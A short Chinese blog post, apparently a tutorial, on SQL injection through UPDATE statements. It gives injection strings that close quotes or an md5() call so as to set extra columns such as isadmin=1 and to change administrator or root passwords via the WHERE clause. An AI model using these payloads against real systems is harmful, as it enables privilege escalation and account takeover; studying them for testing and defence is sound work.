动态线条
动态线条end

SQL注入:updata与注入逻辑

updata基础语法

update tableName set columnName1=value1,columnName2=value2 ...  where [条件筛选]

利用updata更新数据库,原理:

1)闭合单引号|双引号

2)传入非法sql语句

更新个人资料提权

正常语句

variable=value
mysql databaseName -e "update tableName set columnName='$variable' where [条件筛选]"

注入语句(可更改权限标识符,进而完成提权操作)

variable=',columnName2=value2,'1
mysql databaseName -e "update tableName set columnName='$variable' where [条件筛选]"

可变参数位置在set之后,因此如果对方没有筛选sql语句,那么可能存在更改变量内容,达到修改其他字段的目的。

POST传参修改管理员密码

密码一般用md5进行加密,因此需要闭合 md5('') 存在小括号

update tableName set columnName=md5('$variable') where [条件筛选]";

注入点是需要进行md5转换的变量值,如果未筛选,那么可根据已知字段名进行任意更改。

甚至直接更改管理员密码

#注入变量内容  variable=123'),isadmin=1 where uname='wspgg'; #
正常情况			...md5('variable') where [筛选条件];
插入非正常sql语句后	 ...md5('123'),isadmin=1 where uname='wspgg'; # ') where [筛选条件];

如果想要在修改自己密码时修改管理员密码,可在筛选条件中尝试注入

(省略部分sql语句).... where uname='wspggw' or uname='root' or uname='admin'; #
posted @ 2022-01-26 17:37  v1v1v1  阅读(152)  评论(0)    收藏  举报